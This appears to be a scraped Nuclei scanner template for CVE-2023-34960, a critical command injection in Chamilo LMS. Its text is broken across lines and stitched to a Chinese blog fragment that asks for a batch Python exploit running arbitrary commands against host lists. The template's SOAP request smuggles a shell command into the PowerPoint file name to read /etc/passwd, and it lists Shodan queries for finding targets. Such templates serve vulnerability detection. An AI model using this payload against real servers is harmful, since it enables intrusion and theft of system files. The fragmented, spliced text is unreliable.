id
: CVE-
20
23-
34960
info
:
name
: Chamilo
Command Injection
author
: D
hiyaneshDK
severity
: critical
description
: |
A
command injection vulnerability in the wsConvertPpt
component of Chamilo v1
.11.* up to v1
.11.18 allows attackers to execute arbitrary
commands via a SOAP API call with a crafted PowerPoint name
.
impact
: |
Successful exploitation of t
his vulnerability can lead to unauthorized access, data leakage, and potential
compromise of the entire system
.
remediation
: |
Apply the latest security patches or updates provided by the vendor to fix the
command injection vulnerability in Chamilo LMS
.
reference
:
-
https
://sploitus
.com/exploit?id=FD66699
2-
20E1-5D8
3-BA1
3-67ED
38E1B8
3D
-
https
://github
.com/Aituglo/CVE-
20
23-
34960/blob/master/poc
.py
-
http://chamilo
.com
-
http://packetstormsecurity
.com/files/174
314/Chamilo-1
.11.18-
Command-Injection
.html
-
https
://support
.chamilo
.org/projects/1/wiki/Security_issues#Issue-
112-
20
23-04-
20-Critical-impact-
High-risk-Remote-Code-Execution
classification
:
cvss-metrics
: CVSS
:3.1/AV
:N/AC
:L/PR
:N/UI
:N/S
:U/C
:H/I
:H/A
:H
cvss-score
: 9
.8
cve-id
: CVE-
20
23-
34960
cwe-id
: CWE-77
epss-score
: 0
.9
3314
epss-percentile
: 0
.99067
cpe
: cpe
:2.3:a
:chamilo
:chamilo
:*
:*
:*
:*
:*
:*
:*
:*
metadata
:
verified
: "true"
max-request
: 1
vendor
: chamilo
product
: chamilo
shodan-query
:
-
http.component
:"Chamilo"
-
http.component
:"chamilo"
- cpe
:"cpe
:2.3:a
:chamilo
:chamilo"
tags
: cve,cve
20
23,packetstorm,chamilo
http:
- raw
:
- |
POST /main/webservices/additional_webservices
.php
HTTP/1
.1
Host
: {{Hostname}}
Content-Type
: text/xml; charset=utf-8
<?xml version="1
.0" encoding="UTF-8"?>
<SOAP-ENV
:Envelope xmlns
:SOAP-ENV="
http://schemas
.xmlsoap
.org/soap/envelope/" xmlns
:ns1="{{RootURL}}" xmlns
:xsi="
http://www
.w
3.org/
2001/XMLSchema-instance" xmlns
:xsd="
http://www
.w
3.org/
2001/XMLSchema" xmlns
:ns
2="
http://xml
.apache
.org/xml-soap" xmlns
:SOAP-ENC="
http://schemas
.xmlsoap
.org/soap/encoding/" SOAP-ENV
:encodingStyle="
http://schemas
.xmlsoap
.org/soap/encoding/"><SOAP-ENV
:Body><ns1
:wsConvertPpt><param0 xsi
:type="ns
2:Map"><
item><key xsi
:type="xsd
:string">file_data</key><value xsi
:type="xsd
:string"></value></
item><
item><key xsi
:type="xsd
:string">file_name</key><value xsi
:type="xsd
:string">`{}`
.pptx&#
39;|" |cat /etc/passwd||a #</value></
item><
item><key xsi
:type="xsd
:string">service_ppt
2lp_size</key><value xsi
:type="xsd
:string">7
20x540</value></
item></param0></ns1
:wsConvertPpt></SOAP-ENV
:Body></SOAP-ENV
:Envelope>
matchers-condition
: and
matchers
:
- type
: regex
regex
:
- "root
:.*
:0
:0
:"
part
: body
- type
: word
part
: header
words
:
- text/xml
- type
: status
status
:
-
200
# digest
: 4a0a0047
30450
220
34e60ad
33e
2160ec78cbef
2c6c410b14
dabd6c
3ca8518c
21571e
31045
3a
24e
250
221009
27e497
3b55f
38f
2cc8ceca6409
25b7066d4
3250
32b04fb0eca080984080a1d0
:9
22c64590
222798
bb761d5b6d8e7
2950根据poc实现python的exp，并且读取当前目录下的文件 批量执行 ，例如，python CVE-
20
23-
34960
.py -f
.8
.txt -c "需要执行的命令" 并将执行成功的结果输出 -o 9
.txt 添加选项-o 8
.txt的文本文件
本文介绍了一个关于信息技术领域的具体案例，并详细探讨了相关的技术细节。
扫一扫
5988
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
